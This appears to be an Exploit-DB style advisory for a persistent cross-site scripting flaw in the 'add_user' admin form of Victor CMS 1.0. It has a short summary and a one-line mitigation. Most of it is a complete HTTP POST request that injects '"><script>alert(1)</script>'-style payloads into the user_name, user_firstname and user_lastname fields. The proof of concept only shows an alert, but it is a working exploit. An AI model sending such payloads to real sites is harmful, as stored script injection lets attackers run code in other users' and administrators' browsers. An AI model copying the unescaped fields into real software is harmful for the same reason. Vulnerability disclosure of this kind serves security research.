Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting

vendor:

CMSsite

by:

Nitya Nand

3.1

CVSS

MEDIUM

Persistent Cross-Site Scripting

CWE

Product Name: CMSsite

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:victor_alagwu:cms_site

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2020

Victor CMS 1.0 – ‘add_user’ Persistent Cross-Site Scripting

The POST parameter 'user_name', 'user_firstname', 'user_lastname' is vulnerable to persistent cross site scripting Payload: <script>alert(1)</script> POST /phpmaster/admin/users.php?source=add_user HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/phpmaster/admin/users.php?source=add_user Content-Type: multipart/form-data; boundary=---------------------------515906178311115682892435428 Content-Length: 417375 Connection: close Cookie: PHPSESSID=8810e038f92cd7c711ee8b95db1dcacb Upgrade-Insecure-Requests: 1

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting
# Google Dork: N/A 
# Date: 2020-05-23 
# Exploit Author: Nitya Nand 
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite 
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip 
# Version: 1.0 
# Tested on: Linux 
# CVE : N/A


Description: The POST parameter 'user_name', 'user_firstname', 'user_lastname' is vulnerable to persistent cross site scripting Payload: <script>alert(1)</script>
POST /phpmaster/admin/users.php?source=add_user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/phpmaster/admin/users.php?source=add_user
Content-Type: multipart/form-data; boundary=---------------------------515906178311115682892435428
Content-Length: 417375
Connection: close
Cookie: PHPSESSID=8810e038f92cd7c711ee8b95db1dcacb
Upgrade-Insecure-Requests: 1

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_name"
"><script>alert(1)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_firstname"
"><script>alert(2)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_lastname"
"><script>alert(3)</script>

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_image"; filename="9400.jpg"
Content-Type: image/jpeg

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_role"
User

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_email"
abc@gmail.com

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="user_password"
1234

-----------------------------515906178311115682892435428

Content-Disposition: form-data; name="create_user"

Add User
-----------------------------515906178311115682892435428--